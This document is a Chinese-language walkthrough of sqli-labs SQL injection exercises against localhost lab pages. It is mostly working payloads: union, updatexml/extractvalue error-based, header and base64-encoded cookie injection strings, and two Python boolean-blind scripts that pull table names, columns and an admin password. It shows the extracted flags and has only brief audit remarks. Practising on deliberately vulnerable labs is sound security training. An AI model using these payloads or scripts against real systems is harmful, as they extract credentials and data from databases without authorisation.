本道题开始,我们进入了通过由POST方式进行注入
查找注入点及探索注入方式
1'+order+by+3--+
查看注入位置
1'+union+select+0,1--+
开始注入
获取表名
1'+union+select+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),1--+
获取字段名
1'+union+select+(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),1--+
获取flag
1'+union+select+(select+password+from+admin+limit+0,1),1--+
代码审计
查找注入点及探索注入方式
联合注入且需要闭合双引号和括号,注入点为username
1")+order+by+3--+
查看注入位置
1")+union+select+1,2--+
进行注入
获取表名
1")+union+select+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),2--+
获取字段名
1")+union+select+(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),2--+
获取flag
1")+union+select+(select+password+from+admin+limit+0,1),2--+
代码审计
查找注入点及注入方式
1)'
1')+order+by+3--+
发现联合注入无法使用,页面无法显示正常的数据。但是可以进行报错,因此采用报错注入的方式
1')+and+updatexml(1,concat(0x7e,version(),0x7e),1)--+
进行注入
获取表名
1')+and+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e),1)--+
获取字段名
1')+and+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),0x7e),1)--+
获取flag
1')+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),1,10),0x7e),1)--+
flag{AE0E4
1')+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),11,10),0x7e),1)--+
BDAD7B5F6
1')+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),21,10),0x7e),1)--+
1417433660
1')+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),31,10),0x7e),1)--+
26D2EA5}
最后拼接
flag{AE0E4BDAD7B5F67141743366026D2EA5}
代码审计
查看注入点并判断注入方式
1"'--+
1"+union+select+1,2--+
1"+and+extractvalue(1,concat(0x7e,(version()),0x7e))--+
开始注入
获得表名
1"+and+extractvalue(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e))--+
获得字段名
1"+and+extractvalue(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),0x7e))--+
获得flag
由于长度过长所以我们采用分段截取的方式
1"+and+extractvalue(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),1,10),0x7e))--+
flag{AE0E4
1"+and+extractvalue(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),11,10),0x7e))--+
BDAD7B5F67
1"+and+extractvalue(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),21,10),0x7e))--+
1417433660
1"+and+extractvalue(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),31,10),0x7e))--+
26D2EA5}
进行拼接
flag{AE0E4BDAD7B5F67141743366026D2EA5}
代码审计
判断注入点及方式
-1'+or+1=1--+
-1'+or+1=2--+
因此,我们选择布尔盲注
python注入脚本编写
判断代码
import requests
chars="qwertyuiopasdfghjklzxcvbnm}{"
url="http://localhost/Less-15/index.php"
payload={
"uname":"-1' or 1=1#",
"passwd":"",
"submit":"Submit"
}
r=requests.post(url=url,data=payload)
print(r.text)
print(len(r.text))
# right:1492
# 1446
先进行判断,可以看出当正确时,长度为1492,错误时1446。因此我们可以利用这种差距进行注入
完整代码(未加判断代码)
import requests
chars="qwertyuiopasdfghjklzxcvbnm0123456789}{"
url="http://localhost/Less-15/index.php"
for x in range(0,10):
table_name=""
for y in range(1,20):
for char in chars:
payload = {
"uname": "-1' or mid((select table_name from information_schema.tables where table_schema=database() limit "+str(x)+",1),"+str(y)+",1)='"+char+"'#",
"passwd": "",
"submit": "Submit"
}
r=requests.post(url=url,data=payload)
# print(len(r.text))
if len(r.text)==1492:
table_name+=char
if bool(table_name):
print(table_name)
# 获取字段名
for x in range(0,10):
column_name=""
for y in range(1,20):
for char in chars:
payload = {
"uname": "-1' or mid((select column_name from information_schema.columns where table_name='admin' limit "+str(x)+",1),"+str(y)+",1)='"+char+"'#",
"passwd": "",
"submit": "Submit"
}
r=requests.post(url=url,data=payload)
# print(len(r.text))
if len(r.text)==1492:
column_name+=char
if bool(column_name):
print(column_name)
# 获取内容
for x in range(0,10):
password_value=""
for y in range(1,50):
for char in chars:
payload = {
"uname": "-1' or mid((select password from admin limit "+str(x)+",1),"+str(y)+",1)='"+char+"'#",
"passwd": "",
"submit": "Submit"
}
r=requests.post(url=url,data=payload)
# print(len(r.text))
if len(r.text)==1492:
password_value+=char
if bool(password_value):
print(password_value)
获得flag
flag{ae0e4bdad7b5f67141743366026d2ea5}
代码审计
查找注入点及判断注入方式
-1")
页面没有回显数据,但是正确与否会出现偏差,因此采用布尔注入
python代码编写
import requests
chars="1234567890qwertyuiopasdfghjklzxcvbnm}{"
url="http://localhost/Less-16/"
# 测试
# payload={
# 'uname':'-1") or 1=1#',
# 'passwd':'',
# 'submit':'Submit'
# }
# r=requests.post(url=url,data=payload)
# print(r.text)
# print(len(r.text))
# right:1504
# 获取表名
for x in range(0,10):
table_name=""
for y in range(1,20):
for char in chars:
payload={
'uname': '-1") or ord(mid((select table_name from information_schema.tables where table_schema=database() limit '+str(x)+',1),'+str(y)+',1))='+str(ord(char))+'#',
'passwd': '',
'submit': 'Submit'
}
r=requests.post(url=url,data=payload)
# print(len(r.text))
if len(r.text)==1504:
table_name+=char
if bool(table_name):
print(table_name)
# 获取字段名
for x in range(0,10):
column_name=""
for y in range(1,20):
for char in chars:
payload={
'uname': '-1") or ord(mid((select column_name from information_schema.columns where table_name=0x61646D696E limit '+str(x)+',1),'+str(y)+',1))='+str(ord(char))+'#',
'passwd': '',
'submit': 'Submit'
}
r=requests.post(url=url,data=payload)
# print(len(r.text))
if len(r.text)==1504:
column_name+=char
if bool(column_name):
print(column_name)
# 获取内容
for x in range(0,10):
password_value=""
for y in range(1,50):
for char in chars:
payload={
'uname': '-1") or ord(mid((select password from admin limit '+str(x)+',1),'+str(y)+',1))='+str(ord(char))+'#',
'passwd': '',
'submit': 'Submit'
}
r=requests.post(url=url,data=payload)
# print(len(r.text))
if len(r.text)==1504:
password_value+=char
if bool(password_value):
print(password_value)
获取flag为
flag{04756714174336602625}
代码审计
判断注入点及方式
根据提示我们在password进行注入,而且需要采取正确的用户名
brupsite:
uname=Dhakkan&passwd=1'+and+updatexml(1,concat(0x7e,version(),0x7e),1)--+&submit=Submit
开始进行注入
获取表名
1'+and+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e),1)--+
获取字段名
1'+and+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),0x7e),1)--+
获取内容
由于flag过长,我们采用分段截取的方式
1'+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),1,10),0x7e),1)--+
1'+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),11,10),0x7e),1)--+
1'+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),21,10),0x7e),1)--+
1'+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),31,10),0x7e),1)--+
flag{AE0E4BDAD7B5F67141743366026D2EA5}
代码审计
第一部分过滤代码审计:
function check_input($value)
{
// 判断是否为空字符,如果不是则取前15个字符
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
// 去除双引号
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
// 判断是否为全为数字,如果不是则加引号
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
头部注入(前提密码和账户正确):
利用user agent
介绍:
User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU
类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。一些网站常常通过判断 UA 来给不同的操作系统、不同的浏览器发送不同的页面,因此可能造成某些页面无法在某个浏览器中正常显示,但通过伪装 UA
可以绕过检测。
————————————————
开始注入:
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
代码审计
头部注入:利用referer头字段进行注入
' and updatexml(1,concat(0x7e,version(),0x7e),1) and '1'='1
代码审计
头部注入:
cookie注入
利用brupsite进行页面抓取,然后抓取第二个页面
报错注入
union联合注入
注入点判断及注入分析
报错注入
1') and updatexml(1,concat(0x7e,version(),0x7e),1)#
经过base64加密
MScpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSx2ZXJzaW9uKCksMHg3ZSksMSkj
联合注入
1') order by 4#
base64加密:
MScpICBvcmRlciBieSA0Iw==
联合注入
1') union select 1,2,3#
base64:
MScpICB1bmlvbiBzZWxlY3QgMSwyLDMj
联合注入
1') union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3#
base64:
MScpICB1bmlvbiBzZWxlY3QgKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpKSwyLDMj
联合注入:
1') union select (select group_concat(column_name) from information_schema.columns where table_name='admin'),2,3#
base64:
MScpICB1bmlvbiBzZWxlY3QgKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0nYWRtaW4nKSwyLDMj
联合注入:
1') union select (select password from admin limit 0,1),2,3#
base64:
MScpICB1bmlvbiBzZWxlY3QgKHNlbGVjdCBwYXNzd29yZCBmcm9tIGFkbWluIGxpbWl0IDAsMSksMiwzIw==
注入点分析
依旧是头部注入,cookie注入,还是base64编码
/
base64:
XA==
联合注入:
1" order by 4#
base64:
MSIgb3JkZXIgYnkgNCMg
开始注入
联合注入
1“ union select 1,2,3
base64:
MSIgdW5pb24gc2VsZWN0IDEsMiwzIyA=
联合注入
1" union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3#
base64:
MSIgdW5pb24gc2VsZWN0IChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSksMiwzIw==
联合注入
1" union select (select group_concat(column_name) from information_schema.columns where table_name='admin'),2,3#
base64:
MSIgdW5pb24gc2VsZWN0IChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9J2FkbWluJyksMiwzIw==
联合注入
1" union select (select password from admin limit 0,1),2,3#
base64:
MSIgdW5pb24gc2VsZWN0IChzZWxlY3QgcGFzc3dvcmQgZnJvbSBhZG1pbiBsaW1pdCAwLDEpLDIsMyM=
代码审计
本道题考的是注释符的绕过
\
尝试闭合单引号
1'%23
1'--+
发现均被过滤
1'+and+'1'='1
可以正常显示
在构建·
-1'+union+select+1,2,3+and+'1'='1
-1'+union+select+1,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),3+and+'1'='1
-1'+union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),3+and+'1'='1
-1'+union+select+1,(select+password+from+admin),3+and+'1'='1
获得flag